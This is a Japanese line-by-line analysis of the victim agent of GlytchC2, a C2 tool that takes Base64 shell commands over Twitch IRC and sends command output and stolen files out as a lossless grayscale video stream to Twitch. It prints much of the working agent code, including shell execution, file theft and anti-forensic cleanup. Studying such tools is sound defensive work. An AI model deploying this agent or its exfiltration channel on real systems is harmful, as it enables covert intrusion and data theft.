Scarlet Tactics

悪用厳禁

GlytchC2 詳細技術解析 [victim]

github.com

ファイル構成と概要

GlytchC2-main/victim/
├── victim.py           ... Victim側メインスクリプト(C2コマンド受信・実行・配信制御)
├── encoder.py          ... データ→グレースケール画像変換(ステガノグラフィエンコーダ)
├── twitch_chat_irc.py  ... Twitch IRC通信ライブラリ(※別ドキュメントで詳細解析)
└── example.env         ... 環境変数テンプレート(Twitch認証情報)
ファイル 種別 行数 役割概要
victim.py Python スクリプト 164行 IRC経由でコマンドを受信し、実行結果をエンコード→動画化→Twitch配信する
encoder.py Python スクリプト 222行 任意のバイナリデータをニブル単位でグレースケールPNG画像に変換する
twitch_chat_irc.py Python ライブラリ 217行 Twitch IRCプロトコルによるチャットメッセージ送受信(共有モジュール)
example.env 設定テンプレート 5行 Twitchユーザー名とOAuthトークンのテンプレート

解析の流れ: 本ドキュメントではまず Victim 側の全体動作フロー(コマンド受信→実行→エンコード→配信→クリーンアップ)を俯瞰し、次に victim.py のメインループ、続いて encoder.py のステガノグラフィ実装を、コードの各行レベルで詳細に解説する。twitch_chat_irc.py は Attacker 側と共有されるモジュールであり、別途 03_twitch_irc.md で詳細解析する。


1. Victim側の全体動作フロー

GlytchC2 の Victim 側は、侵害済みホスト上で実行されるポストエクスプロイテーションエージェントである。「ポストエクスプロイテーション」とは、攻撃者が何らかの手段でターゲットシステムへの初期アクセスを既に確保した後のフェーズを指す。このエージェントは、Twitch のライブ配信プラットフォームを C2(Command and Control、指揮統制)チャネルとして利用する。

C2 とは、攻撃者が遠隔から侵害済みシステムに対して命令を送り、その結果を受け取るための通信インフラのことである。通常の C2 は専用サーバーを使用するが、GlytchC2 はこれを Twitch という正規のプラットフォーム上に構築することで、ネットワーク監視による検知を困難にしている。

このフローの特徴は、コマンド(制御信号)は IRC チャット経由で送受信し、データ(実行結果)は映像ストリーム経由で送信するという、2 つの異なるチャネルを使い分けている点にある。IRC チャットは低帯域でテキストベースの制御信号に適しており、映像ストリームは大容量のバイナリデータ転送に適している。


2. victim.py — メインスクリプトの詳細解析

2.1 インポートと定数定義

victim.py の冒頭では、コマンド実行、データ変換、ファイル操作に必要な標準ライブラリと外部モジュールをインポートしている。

#!/usr/bin/env python3  # ← シェバン行: Unix系OSでpython3を直接実行可能にする宣言

# Developed by Anıl Çelik (@ccelikanil) and Emre Odaman (@eodaman), ...

import argparse         # ← コマンドライン引数の解析ライブラリ
import base64           # ← Base64エンコード/デコード(RFC 4648)
import subprocess       # ← 外部プロセス(OS コマンド、ffmpeg 等)の起動・制御
import time             # ← 時間関連ユーティリティ(待機ループで使用)
import os               # ← ファイル存在確認・削除等の OS 操作
import glob             # ← ワイルドカードによるファイルパターンマッチ
from PIL import Image   # ← Pillow: 画像生成・操作ライブラリ

# Twitch IRC通信モジュール(同ディレクトリ)
from twitch_chat_irc import TwitchChatIRC

victim.py 1〜13行目)

base64 は、バイナリデータを ASCII 文字列に変換する標準的なエンコーディング方式のライブラリである。Base64 では 3 バイトのバイナリデータが 4 文字の ASCII 文字列に変換される。GlytchC2 では、Twitch IRC チャットで送受信するコマンド文字列を Base64 でエンコードすることで、IRC プロトコルで扱えない制御文字やバイナリデータの混入を防いでいる。

subprocess は、Python スクリプトから外部のプログラムを起動するためのモジュールである。OS 上で別のプロセス(独立して実行されるプログラムの単位)を生成し、その標準入出力を制御できる。victim.py では、受信したコマンドの実行(subprocess.run で OS コマンドを実行)、encoder.py の呼び出し、ffmpeg(動画変換・配信ツール)の制御に使用される。

PIL(Pillow) は、Python における画像処理のデファクトスタンダードライブラリである。ここでは「ブランクフレーム」と呼ばれる、半分が黒・半分が白の初期画像を生成するために使用されている。

TwitchChatIRC は、同梱されている IRC(Internet Relay Chat)クライアントモジュールである。IRC は 1988 年に開発されたテキストベースのリアルタイム通信プロトコルで、Twitch はこのプロトコルを自社のチャットシステムの基盤として採用している。このモジュールの詳細は 03_twitch_irc.md で解析する。

2.2 ffmpeg コマンド定義

Victim 側では、2 つの ffmpeg コマンドが事前定義されている。ffmpeg は、映像・音声の変換・配信を行うオープンソースのマルチメディアフレームワークであり、本ツールではエンコード済み PNG 画像から動画を生成し、さらにその動画を Twitch へライブ配信する役割を担う。

FFMPEG_CMD = (
    # 10秒に1枚のPNGを入力、出力は30fpsに変換
    'ffmpeg -framerate 1/10 -pattern_type glob -i "*.png" -vf "fps=30" '
    # H.264ロスレス、グレースケール形式でMP4出力
    '-c:v libx264 -preset veryslow -crf 0 -pix_fmt gray output.mp4'
)

victim.py 16〜19行目)

このコマンドは、カレントディレクトリにある全ての .png ファイルを glob パターンで取得し、1 枚あたり 10 秒間表示する動画を生成する。各オプションの意味は以下の通りである:

  • -framerate 1/10: 入力フレームレートを「10 秒に 1 フレーム」に設定する。つまり、PNG 画像 1 枚が動画中で 10 秒間表示され続ける。これは、Attacker 側がストリームを録画する際に十分な時間を確保するための設計である。映像をリアルタイムで録画しフレームを抽出する際、表示時間が短いとフレームを取りこぼす可能性がある。
  • -pattern_type glob -i "*.png": シェルの glob パターン(ワイルドカード)で PNG ファイルを入力として指定する。ファイル名のアルファベット順にソートされるため、blank.png(b で始まる)が常に最初のフレームになる。
  • -vf "fps=30": 出力の映像フィルタ(video filter)として 30fps(毎秒 30 フレーム)を指定する。入力が 0.1fps でも出力は 30fps となり、同じフレームが 300 回複製される。Twitch の配信プラットフォームは一定以上のフレームレートを要求するため、この変換が必要である。
  • -c:v libx264: 映像コーデックとして H.264(libx264 実装)を使用する。H.264 は最も広く対応されている映像圧縮規格であり、Twitch を含む主要な配信プラットフォームが対応している。
  • -preset veryslow: エンコード速度を最も遅い設定にする。速度を犠牲にして圧縮効率を最大化する。ここでは -crf 0(後述)と組み合わせてロスレス(無劣化)エンコードの品質を保証している。
  • -crf 0: CRF(Constant Rate Factor)を 0 に設定する。CRF は H.264 の品質パラメータで、0 はロスレス(情報の損失なし)を意味する。ステガノグラフィで埋め込んだ各ピクセルの値が正確に保存される必要があるため、圧縮による画質劣化は許容できない。
  • -pix_fmt gray: ピクセルフォーマットをグレースケール(8bit、256 階調)に指定する。カラー映像では色差信号のサブサンプリング(chroma subsampling)によりピクセル値が変化する可能性があるが、グレースケールでは輝度チャネルのみを使用するため、この問題を回避できる。
def get_stream_cmd(streamkey):
    """Return the ffmpeg streaming command with the provided stream key."""
    return (
        # リアルタイム速度で入力を読み、30fps・グレースケールに変換
        f'ffmpeg -re -i output.mp4 -vf "fps=30,format=gray" '
        # H.264ロスレス、GOPサイズ60フレーム
        f'-c:v libx264 -preset veryslow -crf 0 -g 60 '
        # FLVコンテナでTwitchのRTMPエンドポイントに配信
        f'-f flv rtmp://live.twitch.tv/app/{streamkey}' 
    )

victim.py 21〜27行目)

この関数は、生成した output.mp4 を Twitch にライブ配信するための ffmpeg コマンド文字列を返す。

  • -re: 入力ファイルをリアルタイム速度で読み込む。この指定がないと ffmpeg はファイルを可能な限り高速に読み込もうとし、配信先のサーバーにデータが一気に送られてしまう。-re を指定することで、動画の再生時間と同じ速度でデータが送出される。
  • -g 60: GOP(Group of Pictures)サイズを 60 フレームに設定する。GOP とは、映像圧縮において完全な画像(I フレーム)を基準として差分フレーム(P/B フレーム)をグループ化する単位のことである。60 フレーム = 2 秒ごとに I フレームが挿入される。これにより、Attacker 側が途中からストリームの録画を開始しても、最大 2 秒以内に完全なフレームを取得できる。
  • -f flv: 出力フォーマットを FLV(Flash Video)コンテナに指定する。RTMP(Real-Time Messaging Protocol)による配信では FLV が標準的なコンテナフォーマットである。
  • rtmp://live.twitch.tv/app/{streamkey}: Twitch の RTMP インジェストエンドポイント。streamkey はチャンネル固有の秘密鍵で、これを知っている者のみが当該チャンネルで配信を開始できる。

参照

ID タイトル URL 対応箇所
1 FFmpeg Documentation https://ffmpeg.org/ffmpeg.html ffmpeg コマンドオプション全般
2 H.264 Video Encoding Guide - FFmpeg Wiki https://trac.ffmpeg.org/wiki/Encode/H.264 CRF、preset、ロスレスエンコード
3 Twitch Broadcasting Guidelines https://help.twitch.tv/s/article/broadcasting-guidelines Twitch 配信の技術要件

2.3 コマンドデコード関数

Attacker から IRC チャット経由で送られてくるコマンドは、Base64 エンコードされた文字列として届く。Base64 とは、バイナリデータや任意の文字列を、ASCII の英数字と一部の記号(A-Z, a-z, 0-9, +, /, =)のみで表現するエンコーディング方式である。IRC プロトコルはテキストベースの通信規格であり、制御文字や特殊文字を含むメッセージを直接送信すると通信エラーや誤解析の原因となるため、Base64 エンコーディングが使用されている。

エンコードされたメッセージのフォーマットは uid:actual_command であり、uid は 8 文字の 16 進数で表されるユニーク ID(一意識別子)、actual_command は実行すべき OS コマンドまたは file: プレフィックス付きのファイルパスである。

def decode_incoming_command(message):
    """
    Base64-decode the incoming message.
    Expected format: "uid:actual_command"
    """
    try:
        # 文字列→バイト列→Base64デコード→UTF-8文字列
        decoded = base64.b64decode(message.encode()).decode()
        # 最初の ":" で分割(maxsplit=1で2つに分割)
        uid, cmd = decoded.split(":", 1) 
        # uid と コマンド文字列を返す
        return uid, cmd.strip()      
    except Exception as e:
        print("[Victim] Error decoding command:", e)
        return None, None     # デコード失敗時は (None, None) を返す

victim.py 29〜40行目)

base64.b64decode(message.encode()).decode()(34行目) の処理は 3 段階で行われる:

  1. message.encode(): Python の文字列(str 型)をバイト列(bytes 型)に変換する。base64.b64decode() はバイト列を入力として要求するため、この変換が必要である。デフォルトのエンコーディングは UTF-8 である。
  2. base64.b64decode(...): Base64 エンコードされたバイト列を元のバイト列にデコードする。例えば、"YWJjMTIzNDU2Nzg6d2hvYW1p"b"abc12345678:whoami" にデコードされる。
  3. .decode(): デコードされたバイト列を UTF-8 文字列に変換する。

decoded.split(":", 1)(35行目) は、デコードされた文字列を最初のコロン(:)で 2 つに分割する。maxsplit=1 を指定することで、コマンド文字列自体にコロンが含まれていても(例: file:/etc/passwd)正しく分割される。分割結果の最初の要素が uid(ユニーク ID)、2 番目の要素がコマンド本体となる。

エラーハンドリング(38〜40行目): IRC チャットには GlytchC2 のコマンド以外のメッセージ(一般のチャットメッセージ等)も流れてくる可能性がある。それらは Base64 として不正な文字列であるため、デコードに失敗する。失敗時は (None, None) を返すことで、呼び出し元のメインループがそのメッセージをスキップできるようにしている。

2.4 コマンド実行関数

Attacker から受信したコマンドがファイル要求(file: プレフィックス)でない場合、OS コマンドとして実行される。この関数は受信したコマンド文字列をシステムシェル経由で実行し、その出力をファイルに保存する。

def execute_system_command(command, output_file):
    """Execute a system command and write stdout+stderr to output_file."""
    try:
        proc = subprocess.run(# 外部コマンドを実行し、完了を待つ
            command,          # 実行するコマンド文字列
            shell=True,       # シェル経由で実行(パイプやリダイレクトが使える)
            capture_output=True,     # stdout/stderrを捕捉
            text=True         # 出力をバイト列ではなく文字列として取得
        )
        with open(output_file, "w") as f:  # 結果をテキストファイルに書き出し
            f.write(proc.stdout)           # 標準出力の内容
            f.write("\n")
            f.write(proc.stderr)           # 標準エラー出力の内容
    except Exception as e:
        with open(output_file, "w") as f:
            # 実行自体が失敗した場合のエラーメッセージ
            f.write(f"Error executing command: {e}")

victim.py 42〜52行目)

subprocess.run(command, shell=True, ...)(44〜48行目) は、Python の subprocess モジュールが提供する外部コマンド実行関数である。

  • shell=True: コマンド文字列をシステムのシェル(Linux では /bin/sh、Windows では cmd.exe)に渡して解釈・実行させる。これにより、パイプ(|)、リダイレクト(>)、環境変数展開($HOME)などのシェル機能が使える。C2 ツールとしては、Attacker が柔軟なコマンドを送信できるメリットがある一方、任意のコマンドが実行可能であるため、これ自体が Victim マシン上での完全なリモートコード実行(RCE: Remote Code Execution)を意味する。
  • capture_output=True: 子プロセスの標準出力(stdout)と標準エラー出力(stderr)をキャプチャする。内部的には stdout=subprocess.PIPE, stderr=subprocess.PIPE と等価である。
  • text=True: 出力をバイト列(bytes)ではなく文字列(str)として返す。デフォルトのエンコーディング(通常 UTF-8)が使用される。

ファイル書き出し(49〜52行目): コマンドの実行結果(標準出力と標準エラー出力の両方)を 1 つのテキストファイルに書き出す。この出力ファイルが、後続のエンコーダによって画像に変換され、最終的に映像ストリームとして Attacker に送信される。標準出力だけでなく標準エラー出力も保存する理由は、コマンドの実行結果に含まれるエラーメッセージも Attacker にとって有用な情報であるためである。

2.5 ブランクフレーム生成関数

映像ストリームの最初のフレームとして使用される「ブランクフレーム」を生成する関数である。このフレームは、Attacker 側がストリームの録画を開始するまでの時間的余裕(バッファ)を確保するために存在する。

def create_blank_frame(width=1920, height=1080, filename="blank.png"):
    """
    Create a PNG image where the left half is black and the right half is white.
    Since 'blank.png' sorts before any output images, it will be the first frame.
    """
    # "L"モード = 8bitグレースケール画像を新規作成
    img = Image.new("L", (width, height))
    for x in range(width):    # 全ピクセルを走査(水平方向)
        for y in range(height):# 全ピクセルを走査(垂直方向)
            # 左半分=黒(0)、右半分=白(255)
            img.putpixel((x, y), 0 if x < width // 2 else 255)
    img.save(filename, format="PNG")  # PNG形式で保存
    print(f"[Victim] Blank frame created as {filename}")

victim.py 54〜64行目)

Image.new("L", (width, height))(59行目): Pillow ライブラリを使用してグレースケール画像を生成する。"L" は Pillow における画像モードの指定で、8 ビットグレースケール(Luminance = 輝度)を意味する。各ピクセルは 0(黒)〜255(白)の 256 階調の値を持つ。画像サイズは 1920x1080 ピクセル(フル HD 解像度)で、Twitch の標準的な配信解像度に一致させている。

左半分黒・右半分白の設計意図(62行目): このブランクフレームが「左半分黒(値0)・右半分白(値255)」である理由は、Attacker 側の decoder がこのフレームをデータフレームと誤認しないようにするためである。エンコードされたデータフレームはニブル値をグレースケールに変換した複雑なパターンを持つのに対し、ブランクフレームは極端に単純な二値パターンであるため、ヘッダのデコードに失敗して自動的にスキップされる。また SHA-256 ハッシュによる重複フレーム除去の際にも、他のフレームと重複することはない。

ファイル名の設計(57行目のコメント参照): ファイル名が blank.png である理由は、ffmpeg の glob パターン "*.png" でファイルがアルファベット順にソートされた際に、b で始まる blank.png が他のデータ画像ファイル(UID のヘキサ文字で始まる)より前にソートされることを保証するためである。ただし、UID が 09a で始まる場合は blank.png より前にソートされる可能性がある。この点は後述の弱点セクションで議論する。

パフォーマンスに関する注意: putpixel() をピクセル単位で 1920x1080 = 約 207 万回呼び出す実装は、Python の for ループの遅さもあり効率的ではない。しかし、1 回の実行で 1 枚のみ生成するため、実用上は大きな問題にはならない。

2.6 エンコード・動画化関数

コマンド実行結果(またはファイル内容)を、encoder.py を呼び出して PNG 画像に変換し、さらに ffmpeg で MP4 動画に変換する。

def encode_output_to_video(input_file, uid):
    """
    Run encoder.py to convert the input file into one or more PNG images.
    ...
    """
    # UID に基づく出力PNGのベースファイル名
    encoder_output = f"{uid}_encoded.png"
    encoder_cmd = [
        # encoder.py に入力ファイルと出力名を渡す
        "python", "encoder.py", input_file, encoder_output,
        # 外枠20px、リクエストID
        "--border", "20", "--req_id", uid
    ]
    # encoder.py を子プロセスとして実行(失敗時は例外)
    subprocess.run(encoder_cmd, check=True)

    # Create the blank frame.
    # 先頭フレーム用ブランク画像生成
    create_blank_frame(width=1920, height=1080, filename="blank.png")

    # Run ffmpeg to create the video.
    # 全PNGからMP4動画を生成
    subprocess.run(FFMPEG_CMD, shell=True, check=True)

    return "output.mp4"       # 生成された動画ファイル名を返す

victim.py 66〜87行目)

この関数の処理フローを段階的に説明する。

Step 1: encoder.py の呼び出し(75〜79行目)

subprocess.run(encoder_cmd, check=True)encoder.py を別プロセスとして起動する。check=True を指定することで、encoder.py がゼロ以外の終了コード(エラー)を返した場合に subprocess.CalledProcessError 例外が自動的に発生する。encoder.py は入力ファイルのサイズに応じて 1 枚以上の PNG 画像を生成する(詳細はセクション 3 で解析する)。

--border 20 は外枠の太さをピクセル単位で指定し、--req_id uid はリクエスト識別子を渡す。この UID は encoder.py 内部でヘッダに埋め込まれ、Attacker 側がどのコマンドに対する応答かを識別するために使用される。

Step 2: ブランクフレーム生成(82行目)

前述の create_blank_frame() を呼び出す。encoder.py による PNG 生成の後にブランクフレームを生成している点に注意する。これは、encoder.py が出力する PNG ファイル名が UID ベースであり、blank.png と衝突しないことが保証されているためである。

Step 3: ffmpeg による動画生成(85行目)

FFMPEG_CMD(セクション 2.2 で解析済み)を実行し、カレントディレクトリの全 PNG ファイルから output.mp4 を生成する。shell=True を指定しているのは、コマンド文字列中の glob パターン "*.png" をシェルに展開させるためである。

コールチェーン:

encode_output_to_video(input_file, uid)
    → subprocess.run(["python", "encoder.py", ...])   ... encoder.py の実行
    → create_blank_frame(1920, 1080, "blank.png")      ... ブランク画像生成
    → subprocess.run(FFMPEG_CMD)                        ... PNG → MP4 変換

2.7 配信・クリーンアップ関数

def stream_video(streamkey):
    """Stream the video using ffmpeg with the given stream key."""
    # 配信用ffmpegコマンドを構築
    stream_cmd = get_stream_cmd(streamkey)
    # Twitchへのライブ配信を実行
    subprocess.run(stream_cmd, shell=True, check=True)

victim.py 89〜92行目)

stream_video 関数はセクション 2.2 で解説した get_stream_cmd() が返すコマンドを実行し、output.mp4 を Twitch の RTMP エンドポイントにライブ配信する。subprocess.run はブロッキング(同期的)に動作するため、配信が完了するまで(動画の再生時間分だけ)この関数は戻らない。

def cleanup_files():
    """Delete generated PNG and MP4 files."""
    # 削除対象のファイルパターン
    patterns = ["*.png", "output.mp4"]
    for pattern in patterns:
        for f in glob.glob(pattern):# パターンに一致するファイルを列挙
            try:
                os.remove(f) # ファイルを削除
                print(f"[Victim] Deleted {f}")
            except Exception as e:
                print(f"[Victim] Error deleting {f}: {e}")

victim.py 94〜103行目)

cleanup_files 関数は、配信完了後に生成された一時ファイルを削除する。対象は全ての PNG ファイル(エンコード済みデータ画像とブランクフレーム)および output.mp4(動画ファイル)である。

クリーンアップの目的はフォレンジック対策である。フォレンジック(Digital Forensics)とは、コンピュータ上の証拠を収集・分析するセキュリティ調査手法である。C2 エージェントが生成した中間ファイルがディスク上に残存すると、インシデント対応チームがこれらのファイルを発見・分析することで、C2 通信の手法や送信データの内容が判明する可能性がある。ただし、os.remove() による削除はファイルシステムのエントリを削除するだけであり、ディスク上のデータ自体は直ちには消去されないため、専用のフォレンジックツールで復元される可能性がある。

2.8 メインループ — コマンド受信・処理サイクル

main() 関数は Victim 側の中核であり、IRC チャットからのコマンド受信、コマンドの判定・実行、結果のエンコード・配信、クリーンアップまでの全サイクルを無限ループで制御する。

def main():
    parser = argparse.ArgumentParser(
        description="Victim: listen on Twitch IRC for commands, ..."
    )
    # 監視するTwitchチャンネル名(必須)
    parser.add_argument("--channel", required=True,
                        help="Twitch channel name to join")
    # RTMP配信用ストリームキー(必須)
    parser.add_argument("--streamkey", required=True,
                        help="RTMP stream key for streaming")
    args = parser.parse_args()

    chat = TwitchChatIRC()    # ← IRC接続を確立(匿名 or .env認証)
    processed_uids = set()    # ← 処理済みUIDの集合(重複実行防止)

victim.py 105〜114行目)

引数パース(106〜111行目): argparse モジュールを使用して 2 つの必須コマンドライン引数を定義する。--channel は監視対象の Twitch チャンネル名(例: bilocan1337)、--streamkey は当該チャンネルの RTMP 配信用秘密鍵である。

IRC接続(113行目): TwitchChatIRC() をデフォルト引数で呼び出す。引数なしの場合、.env ファイルに設定された認証情報(NICKPASS)が使用される。.env ファイルが存在しない場合は、匿名ユーザー(justinfan67420)として接続するが、匿名接続ではメッセージの送信(chat.send())ができないため、Victim 側は .env ファイルの設定が必須である。

processed_uids = set()(114行目): 処理済みコマンドの UID を記録する集合(set)。同じコマンドが IRC の再送やキャッシュにより複数回受信されることを防ぐ。Python の set はハッシュテーブルに基づくデータ構造で、要素の存在確認が平均 O(1)(定数時間)で完了する。

    try:
        while True:           # ← 無限ループ: コマンド待ち→処理→待ちを繰り返す
            print("[Victim] Waiting for a command in chat...")
            messages = chat.listen(  # ← IRCチャットからメッセージを受信
                args.channel, timeout=60, message_limit=1       # ← 60秒タイムアウト、1件取得で即リターン
            )
            for msg in messages:
                text = msg.get("message", "").strip()           # ← メッセージ本文を取得(前後の空白除去)
                uid, command = decode_incoming_command(text)     # ← Base64デコードしてuid:commandに分離
                if not uid or uid in processed_uids:
                    continue  # ← デコード失敗 or 処理済みならスキップ
                print(f"[Victim] Received command (ID={uid}): {command}")
                processed_uids.add(uid)       # ← UIDを処理済みとして記録
                chat.send(args.channel, "OK") # ← Attackerに受信確認 "OK" を送信

victim.py 116〜127行目)

メインループの受信部分:

  1. chat.listen(args.channel, timeout=60, message_limit=1)(119行目): IRC チャンネルを監視し、メッセージを最大 1 件取得するか、60 秒タイムアウトで空リストを返す。timeout=60 は「60 秒間メッセージが来なければ諦める」という意味で、ループの先頭に戻って再び listen を開始する。message_limit=1 は 1 件のメッセージを受信した時点で即座に関数から戻ることを意味する。
  2. Base64 デコード(122行目): 受信したメッセージを decode_incoming_command() でデコードする。一般のチャットメッセージは Base64 として不正であるため (None, None) が返り、スキップされる。
  3. 重複チェック(123〜124行目): uid in processed_uids で既に処理済みのコマンドかどうかを確認する。IRC の特性上、同じメッセージが複数回届く可能性がある(ネットワークの再送、チャットのキャッシュ等)ため、この重複排除は重要である。
  4. 受信確認(127行目): chat.send(args.channel, "OK") で Attacker に対してコマンドの受信を通知する。この "OK" は暗号化もエンコードもされていない平文であり、IRC チャットの他の参加者にも見える。
                # Always generate a new output file name for this command.
                output_file = f"{uid}_output.txt"               # ← UID に基づく出力ファイル名
                if os.path.exists(output_file):
                    os.remove(output_file)    # ← 既存の同名ファイルがあれば削除

                # For file requests, override output_file if the requested file exists.
                if command.startswith("file:"):                 # ← "file:" プレフィックスの判定
                    requested_file = command[len("file:"):].strip()  # ← プレフィックスを除去してパスを取得
                    if os.path.exists(requested_file):
                        output_file = requested_file            # ← 実在するファイルを直接 output_file に指定
                    else:
                        with open(output_file, "w") as f:
                            f.write("Requested file not found.")  # ← ファイルが存在しない場合のエラー出力
                else:
                    execute_system_command(command, output_file) # ← OSコマンドとして実行

victim.py 129〜143行目)

コマンド種別の判定と実行:

GlytchC2 は 2 種類のコマンドをサポートする:

  1. OS コマンド実行file: プレフィックスなし): execute_system_command() を呼び出し、受信したコマンド文字列をシステムシェルで実行する。実行結果は {uid}_output.txt に保存される。例えば whoami コマンドの場合、ファイルにはユーザー名が書き込まれる。

  2. ファイル要求file: プレフィックスあり): command[len("file:"):].strip() でプレフィックスを除去し、ファイルパスを取得する。指定されたファイルが存在する場合、そのファイルを直接 output_file として使用する(新たなコピーは作成しない)。存在しない場合はエラーメッセージを output_file に書き込む。

output_file の指定方法の設計意図(138〜139行目): ファイル要求の場合、output_file = requested_file によって元のファイルを直接参照する。これによりディスク上でのコピーを避けている。ただし、後続の encoder.pyoutput_file をバイナリモードで読み取るため(セクション 3 で詳述)、テキストファイルだけでなく実行ファイル等のバイナリファイルもそのまま画像にエンコードして転送できる。

                # Encode output into video.
                video_file = encode_output_to_video(output_file, uid)  # ← エンコード→動画化
                chat.send(args.channel, "READY")     # ← "READY" 送信: 配信準備完了
                print("[Victim] Sent READY; waiting for OK from attacker...")
                while True:          # ← Attackerの "OK" を待つループ
                    resp = chat.listen(args.channel, timeout=10, message_limit=1)
                    if any(m.get("message", "").strip() == "OK" for m in resp):
                        print("[Victim] Received OK; starting stream.")
                        break        # ← "OK" 受信で配信開始
                    time.sleep(1)    # ← 1秒待って再試行
                stream_video(args.streamkey)# ← Twitchへの映像配信
                print("[Victim] Streaming completed. Cleaning up ...")
                cleanup_files()      # ← 一時ファイル削除
    except KeyboardInterrupt:
        print("\n[Victim] Exiting.")
    finally:
        chat.close_connection()      # ← IRC接続の切断(確実に実行)

victim.py 145〜161行目)

エンコード→配信→クリーンアップのシーケンス:

  1. エンコード・動画化(146行目): encode_output_to_video() を呼び出し、コマンド実行結果を PNG 画像にエンコードした後、MP4 動画に変換する。
  2. "READY" 送信(147行目): IRC チャットを通じて Attacker に対して「配信準備完了」を通知する。この時点で動画ファイルは生成済みだが、まだ配信は開始していない。
  3. Attacker "OK" 待ち(149〜154行目): Attacker からの "OK" メッセージを待つ。このハンドシェイクにより、Attacker 側がストリーム録画の準備を完了してから配信を開始することが保証される。timeout=10 で 10 秒ごとに確認し、受信できなければ 1 秒待って再試行する無限ループになっている。
  4. 配信(155行目): stream_video() で Twitch への RTMP 配信を実行する。動画の再生時間分だけブロックされる。
  5. クリーンアップ(157行目): 一時ファイル(PNG 画像群と MP4 動画)を削除する。

Attacker-Victim 間のハンドシェイクプロトコル:

Attacker                    IRC Chat                    Victim
   │                           │                           │
   │  Base64(uid:command)      │                           │
   │──────────────────────────→│──────────────────────────→│
   │                           │                           │ コマンド実行
   │                           │                           │ エンコード
   │                           │           "OK"            │ 動画生成
   │←──────────────────────────│←──────────────────────────│
   │                           │                           │
   │                           │         "READY"           │
   │←──────────────────────────│←──────────────────────────│
   │ 録画準備完了                │                           │
   │           "OK"            │                           │
   │──────────────────────────→│──────────────────────────→│
   │                           │                           │ 配信開始
   │  ← RTMP映像ストリーム →   │                           │ (ffmpeg→Twitch)
   │ (streamlink + ffmpeg)      │                           │
   │                           │                           │ 配信完了
   │                           │                           │ クリーンアップ

finally 節(160〜161行目): chat.close_connection() はどのような終了経路(正常終了、Ctrl+C による中断、例外)でも確実に実行される。これにより、IRC ソケットが開いたまま放置されることを防ぐ。Python の finally 節は、try ブロック内でどのような例外が発生しても必ず実行されることが言語仕様で保証されている。

参照

ID タイトル URL 対応箇所
1 subprocess — Subprocess management — Python docs https://docs.python.org/3/library/subprocess.html subprocess.run, shell=True, capture_output
2 base64 — Base16, Base32, Base64 Data Encodings — Python docs https://docs.python.org/3/library/base64.html Base64 エンコード/デコード
3 Pillow (PIL Fork) Documentation https://pillow.readthedocs.io/en/stable/ Image.new, putpixel

3. encoder.py — ステガノグラフィエンコーダの詳細解析

3.1 概要: ニブル-グレースケール変換方式

encoder.py は、任意のバイナリデータをグレースケール PNG 画像に変換するステガノグラフィエンコーダである。ステガノグラフィ(Steganography)とは、データを別の媒体(画像、音声、映像など)に「隠す」技術の総称であり、暗号化(データを読めなくする)とは異なり、データの存在自体を隠蔽することを目的とする。ただし、GlytchC2 の場合は「隠す」というよりも、映像ストリームをデータ転送チャネルとして利用するための「エンコーディング方式」と表現する方が正確である。

変換の基本原理は以下の通りである:

  1. 入力データの各バイト(8 ビット、0〜255 の値)を 2 つのニブル(4 ビット、0〜15 の値)に分割する
  2. 各ニブルの値に 17 を掛けてグレースケール値(0〜255)に変換する
  3. 変換されたグレースケール値を画像上の 1 つのセル(ピクセル群)の色として描画する
バイト 0xA3 (10100011) の変換例:

  0xA3 = 上位ニブル 0xA (10) + 下位ニブル 0x3 (3)

  上位ニブル: 10 × 17 = 170 → グレースケール値 170(明るめのグレー)
  下位ニブル:  3 × 17 =  51 → グレースケール値  51(暗めのグレー)

  ┌──────────┬──────────┐
  │ セル1     │ セル2     │
  │ gray=170 │ gray=51  │
  │ (0xA)    │ (0x3)    │
  └──────────┴──────────┘

ニブル値に 17 を掛ける理由は、16 段階の値(0〜15)を 256 段階のグレースケール空間(0〜255)に等間隔で配置するためである。15 × 17 = 255 であるため、0 から 255 までの全範囲を均等に使用できる。これにより、映像の圧縮やストリーミング中に多少のピクセル値の変動があっても、最も近いニブル値に正しく丸められる可能性が高くなる。隣接するニブル値のグレースケール差が 17 あるため、±8 の誤差まで耐えられる計算になる。

3.2 定数定義とヘッダ構造

encoder.py の冒頭では、画像レイアウトとヘッダ構造を定義する定数群が宣言されている。

#!/usr/bin/env python3
import argparse, math, os
from PIL import Image

# Configuration constants.
DEFAULT_BORDER = 20          # ← 画像外縁の装飾枠の太さ(ピクセル単位)
HEADER_HEIGHT = 50           # ← ヘッダ領域の高さ(ピクセル単位)
MARKER_COLOR = 128           # ← マーカーラインの色(グレースケール値128)
MIN_CELL = 1                 # ← 1ニブルを描画する最小セルサイズ(ピクセル単位)

# File name header: Use 2 bytes for file name length and 256 bytes for file name.
FILENAME_FIELD_SIZE = 256    # ← ファイル名フィールドの最大サイズ(バイト)
FILENAME_LENGTH_FIELD_SIZE = 2   # ← ファイル名の長さを格納するフィールドのサイズ
HEADER_EXTRA = FILENAME_LENGTH_FIELD_SIZE + FILENAME_FIELD_SIZE  # ← 258バイト

encoder.py 1〜14行目)

DEFAULT_BORDER = 20(6行目): 画像の四辺に描画される装飾的な外枠の太さ。この枠は 2 つの目的を持つ。第一に、映像配信プラットフォームが画像の端を切り落とす(クロップする)場合に、データ領域が影響を受けないようにする保護マージンである。第二に、入れ子状(額縁状)のフレームパターンを描画することで、画像が視覚的にデータを含んでいることを隠蔽する(額縁に入った絵画のように見える)。

HEADER_HEIGHT = 50(7行目): データ領域の上部に確保されるヘッダバンドの高さ。このヘッダには、ペイロード長、グリッドサイズ、フラグメント情報などのメタデータが格納される。

MARKER_COLOR = 128(8行目): マーカーラインの色として使用されるグレースケール値。12817 の倍数ではない(17 × 7 = 119, 17 × 8 = 136)ため、ニブル値のいずれとも一致しない。この性質により、デコーダはマーカーラインとデータセルを確実に区別できる。

MIN_CELL = 1(9行目): 1 つのニブルを描画する最小セルサイズを 1 ピクセルに設定する。これにより、1920x1080 の画像内に最大数のニブルを格納でき、ペイロード容量が最大化される。

# New header structure:
#   • 4 bytes: payload length (in bytes) for this fragment
#   • 2 bytes: grid_cols (payload grid columns)
#   • 2 bytes: grid_rows (payload grid rows)
#   • 4 bytes: fragment index (starting at 1)
#   • 4 bytes: total fragments
#   • 1 byte: dummy border thickness (B)
#   • 2 bytes: expected overall image width
#   • 2 bytes: expected overall image height
#   • 2 bytes: file name length (L)
#   • 256 bytes: file name (UTF-8, padded/truncated)
HEADER_FIXED_BYTES = 4 + 2 + 2 + 4 + 4 + 1 + 2 + 2      # ← 固定部分: 21バイト
